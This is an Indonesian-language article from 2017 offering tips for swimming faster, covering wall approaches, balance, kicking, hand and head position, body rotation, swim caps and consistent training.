Seorang perenang pastinya ingin memberikan performa terbaiknya setiap kali berkompetisi dan penting bagi para atlet untuk terus meningkatkan sekaligus memperbaiki teknik renang mereka. Setelah teknik sudah benar, maka kecepatan adalah hal selanjutnya yang kiranya perlu ditingkatkan. Ada berbagai cara berenang lebih cepat untuk terus dilatih demi performa yang lebih sempurna.

Mendekati Dinding secara Cepat

Apabila ingin berenang lebih cepat, ubah pandangan dan pemikiran Anda tentang dinding merupakan tempat istirahat. Para perenang biasanya menganggap bahwa dinding adalah tempat istirahat walau hanya beberapa detik. Mendekati dinding dengan cepat sambil kepala diarahkan ke bawah paling tidak 2 stroke pada gaya renang apapun kecuali teknik renang gaya dada akan membuat kemungkinan lebih besar dalam membuat diri lebih unggul pada catatan waktu terbaik sewaktu lomba.

Memperbaiki Keseimbangan

Untuk perenang yang sudah menguasai teknik renang gaya bebas, maka metode ini tentunya sudah pasti harus diketahui. Pada gaya bebas, setiap perenang perlu menjaga diri saat bernapas dengan tak mengangkat kepala tinggi-tinggi. Hal tersebut adalah faktor paling besar yang menyebabkan keseimbangan selama berenang terganggu.

Karena kepala yang diangkat terlalu tinggi, akhirnya tendangan yang dilakukan juga akan lebih kuat yang memengaruhi posisi tubuh bagian depan menjadi lebih berat. Dengan memperbaiki keseimbangan jugalah, gesekan juga bakal berkurang dan posisi tubuh tetap terjaga pula secara horisontal sewaktu meluncur di air. Hal ini juga bakal membuat gerakan makin mulus.

Tendangan Kaki Efisien

Para perenang wajib tahu dan memerhatikan tendangan kakinya agar tak sampai memecahkan permukaan air. Kaki pun sebaiknya tak digerakkan jauh-jauh hingga di bawah garis tengah tubuh karena bila melakukan hal tersebut, tak heran kalau gesekan makin banyak sewaktu melewati air dan pada akhirnya tubuh pun menjadi kurang seimbang.

Tendangan Kuat Lumba-lumba

Kecepatan berenang dapat ditingkatkan dengan melakukan tendangan lumba-lumba dan tendangan yang kuat. Saat menendang dinding layaknya gerakan lumba-lumba, gerakan biasanya akan menjadi lebih cepat, berikut juga tendangan di bawah air. Tendangan bawah air ini bila dilakukan kuat-kuat juga mampu memberikan keuntungan bagi perenang, yakni kapasitas paru-paru perenang yang lebih besar sehingga berenang tak hanya lebih cepat namun juga maksimal.

Meregangkan Jari-jari

Sewaktu berenang, agar lebih cepat bisa coba untuk meregangkan jari-jari Anda. Peregangan tak usah terlalu lebar dan cukup sedikit saja ketimbang membuat jari-jari menempel satu sama lain. Dengan cara ini, gaya yang bisa dikerahkan cukup besar, yakni 53 persen lebih banyak sehingga layak untuk dipraktikkan.

Posisi Kepala dalam Kondisi Netral

Supaya berenang bisa lebih cepat, posisi kepala wajib untuk terjaga tetap netral selama melakukan gerakan-gerakan agar lebih efisien juga. Posisi kepala salah dapat menjadikan posisi kaki dan pinggul lebih rendah sehingga menjadikan posisi tubuh agak tenggelam. Bahkan sebaiknya bagian leher juga dibiarkan dalam kondisi rileks.

Leher yang rileks akan membantu pandangan dan kepala terus mengarah ke bawah sehingga tubuh bagian bawah pun terbantu untuk tetap stabil berada di posisi lebih tinggi sewaktu melewati air. Berenang yang efisien adalah dengan tidak membiarkan kepala berada di tengah karena gerakan nantinya hanya akan mengarah ke satu sisi saja.

Mengatur Posisi Tubuh

Posisi tubuh penting untuk diatur sedemikian rupa agar tenaga pada otot dapat meningkat sambil meminimalisir tekanan dan gesekan. Lurus dan sejajar dengan air adalah kunci posisi renang yang baik untuk membuat berenang kita lebih cepat sekaligus efisien. Hal ini juga tak lepas dari posisi kepala dan juga arah pandangan seperti yang telah diulas sebelumnya.

Menangkap Air

Untuk berenang lebih cepat, tenaga perlu ditransfer dari tubuh perenang ke air dengan cara ‘menangkap’ air. Tangan dan lengan harus dalam posisi benar dan tak akan menjadi efisien apabila yang digunakan hanyalah tangan. Daya cengkram pada air tak akan maksimal atau justru tak ada sama sekali bila hanya menggunakan tangan, jadi lengan pun perlu berpartisipasi supaya gerakan renang lebih cepat.

Menekan Maju

Seluruh otot dapat digunakan untuk menekan air, yakni bagian otot punggung dan dada. Ketika melakukan penekanan, rasakanlah otot dada dan punggung menarik lengan dari atas menuju bagian belakang atau bawah dada. Gambarannya adalah kita perlu ‘menangkap’ air lebih dulu dan kemudian air ditekan setelahnya. Tubuh akan terasa menyentah ke arah lengan di depan sewaktu penekanan.

Berputar

Bukan hanya peralatan renang saja yang harus maksimal, namun cara berenang pun perlu dimaksimalkan dengan memutar tubuh untuk posisi gerakan menangkap dan menekan. Dari ujung kepala, bagian leher, punggung sampai dengan kaki perlu memutar dengan sumbunya. Tubuh dapat diputar sampai lengan yang menangkap ada di bawah air sementara sisi lengan satunya berada di atas air.

Dari pundak sampai pinggang bisa diputar sebagai sebuah kesatuan dan ketika menekan air pun juga demikian, tubuh bisa diputar sampai bagian yang lebih rendah menuju ke permukaan. Sementara bagian lainnya yang tadinya sudah mengarah ke permukaan dapat diubah menjadi lebih rendah.

Mengenakan Topi Khusus Penarik Rambut

Untuk berenang bisa lebih cepat dari biasanya atau dari catatan rekor waktu berenang Anda, kenakanlah topi khusus yang bisa menarik rambut ke belakang. Tak hanya cara memilih kacamata renang saja yang mungkin Anda butuhkan, tapi juga cara memilih topi yang sesuai kebutuhan Anda. Jumlah gesekan akan bergurang dengan mengenakan topi ini menjadikan berenang jelas lebih cepat.

Konsisten dalam Latihan

Sama seperti ketika seorang atlet lari mencari cara meningkatkan kecepatan lari, seorang perenang dapat meningkatkan kecepatan renang dengan latihan yang rutin dan lebih konsisten. Bila sudah dapat konsisten dengan latihan yang dilakukan, maka jagalah hal tersebut. Dengan konsistensi dalam latihan, tubuh pun akan terbantu menjadi lebih bugar sehingga otomatis berenang lebih cepat pun kemungkinannya jauh lebih besar.

Latihan yang konsisten juga memberikan keuntungan lainnya, yakni membuat sentuhan atau sensitivitas perenang ketika ada di dalam air meningkat. Dengan begitu, Anda pasti akan tahu apakah gerakan yang dilakukan memang sudah baik atau belum sehingga bila masih kurang baik, Anda bisa membenarkannya. Pelatihan yang konsisten memang membutuhkan kerja keras, namun hasil saat berenang pasti bisa lebih cepat dari catatan waktu biasanya.

Itulah beberapa rahasia cara berenang lebih cepat dan efisien yang kiranya bisa diperhatikan dan dilakukan. Intinya, jangan sampai menyerah dan terus lakukan latihan dengan tips-tips di atas supaya kecepatan bertambah dan Anda makin percaya diri saat berlomba.

24 November 2017 0 comment